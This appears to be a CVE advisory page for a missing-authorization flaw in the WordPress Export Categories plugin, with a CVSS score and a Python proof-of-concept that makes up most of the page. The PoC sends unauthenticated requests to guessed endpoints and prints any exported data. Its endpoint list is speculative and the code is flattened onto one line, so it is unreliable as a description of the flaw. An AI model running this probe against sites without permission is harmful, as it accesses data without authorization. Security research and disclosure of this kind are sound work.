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CVE-2025-62922 CVSS 5.3 MEDIUM

CVE-2025-62922

Published: 2025-10-27 02:15:52
Last Modified: 2026-04-27 18:16:31

Description

Missing Authorization vulnerability in Shambhu Patnaik Export Categories export-categories allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Export Categories: from n/a through <= 1.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Export Categories <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-62922 PoC - WordPress Export Categories Unauthorized Access This PoC demonstrates the missing authorization vulnerability in Export Categories plugin. """ import requests import sys def exploit_cve_2025_62922(target_url): """ Exploit the missing authorization vulnerability to export categories without authentication. """ # Common export endpoints for the plugin endpoints = [ f"{target_url}/wp-admin/admin-ajax.php?action=export_categories", f"{target_url}/wp-admin/admin.php?page=export-categories", f"{target_url}/wp-content/plugins/export-categories/export.php" ] print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-62922...") for endpoint in endpoints: try: print(f"\n[~] Testing endpoint: {endpoint}") # Send request without authentication response = requests.get(endpoint, timeout=10) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') # Check if we got category data (CSV, JSON, or XML) if 'csv' in content_type or 'json' in content_type or 'xml' in content_type: print(f"[+] VULNERABLE! Export endpoint accessible without auth") print(f"[+] Content-Type: {content_type}") print(f"[+] Response length: {len(response.text)} bytes") print(f"\n[+] Sample data (first 500 chars):") print(response.text[:500]) return True elif len(response.text) > 0: print(f"[!] Endpoint returned data but unexpected content-type") print(f"[!] Response preview: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") print("\n[-] Could not confirm vulnerability with tested endpoints") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-62922-poc.py <target_url>") print("Example: python3 cve-2025-62922-poc.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_cve_2025_62922(target)

References

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